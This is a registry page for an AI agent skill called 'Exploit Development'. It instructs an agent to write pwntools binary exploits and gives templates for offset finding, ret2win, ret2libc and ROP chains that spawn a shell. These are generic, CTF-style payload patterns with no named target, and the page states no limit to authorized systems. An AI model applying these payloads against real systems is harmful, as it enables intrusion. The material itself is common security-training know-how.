# Exploit Development

> Develop working exploits using pwntools. Includes exploit template and common patterns. Use when this capability is needed.

- Skill: `tomevault-io/exploit-development` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add tomevault-io/exploit-development`
- Raw SKILL.md: https://api.skillmd.com/api/skills/tomevault-io/exploit-development/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: tomevault-io (https://skillmd.com/u/tomevault-io)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/tomevault-io/exploit-development

---


# Exploit Development

Build working exploits based on vulnerability analysis.

## Exploit Development Process

1. **Start from template** - Use `templates/exploit.py`
2. **Find offset** - Use cyclic pattern
3. **Identify target** - Win function, ROP chain, shellcode
4. **Handle mitigations** - Leak addresses if needed
5. **Build payload** - Padding + control flow hijack
6. **Test locally** - With and without GDB
7. **Test remote** - Adjust for remote environment

## Stack Consistency (CRITICAL)

**Always use fixed argv[0] and empty environment:**

```python
ARGV0 = "/pwn"
ENV = {}

def conn():
    if args.GDB:
        return gdb.debug([EXECUTABLE], env=ENV, argv=[ARGV0], gdbscript='...')
    else:
        return process([EXECUTABLE], env=ENV, argv=[ARGV0])
```

This ensures stack addresses match between normal run and GDB debug.

## Finding Offset

```python
# Generate pattern
from pwn import cyclic, cyclic_find
payload = cyclic(200)

# After crash, find offset
# In GDB: cyclic -l 0x61616168
offset = cyclic_find(0x61616168)
```

## Common Payload Patterns

### Simple ret2win
```python
payload = b'A' * offset
payload += p64(win_addr)
```

### ret2win with alignment
```python
payload = b'A' * offset
payload += p64(ret_gadget)  # 16-byte alignment
payload += p64(win_addr)
```

### ret2libc
```python
payload = b'A' * offset
payload += p64(ret_gadget)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
```

### ROP with pwntools
```python
rop = ROP(elf)
rop.call('function', [arg1, arg2])
payload = b'A' * offset + rop.chain()
```

## Debugging Tips

- `context.log_level = 'debug'` for verbose output
- `gdb.attach(p)` to attach to running process
- `pause()` to stop and inspect
- Print addresses: `print(f"addr: {hex(addr)}")`

## Output

Produce `exploit.py` using the template.

---
> Converted and distributed by [TomeVault](https://tomevault.io/claim/amattas) — claim your Tome and manage your conversions.
<!-- tomevault:4.0:skill_md:2026-04-13 -->